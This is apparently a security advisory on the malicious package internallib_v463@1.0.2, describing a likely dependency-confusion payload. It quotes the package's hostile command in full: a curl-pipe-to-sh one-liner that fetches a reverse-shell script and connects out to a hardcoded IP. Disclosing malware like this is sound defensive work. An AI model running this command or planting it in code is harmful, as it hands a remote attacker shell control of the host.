internallib_v463@1.0.2

Summary

index.js exports a function command that runs /bin/bash -c "curl https://reverse-shell.sh/10.0.73.186:443|sh", fetching a reverse-shell script from reverse-shell.sh and piping it to sh. When the exported function is invoked by a consumer of this package, an interactive shell is established outbound to the hardcoded attacker endpoint 10.0.73.186:443, granting a remote party full shell control of the installer host. The module contains a console.log("Primeiro PWN") string, consistent with hostile intent rather than a legitimate utility. The package name (internallib_v463) and the private-range destination IP are consistent with a dependency-confusion payload targeting an internal package name.

Source: amazon-inspector (0b01ff1527598f64a1da93492377bfd066f37519d0c589285136d9a31615d1b7)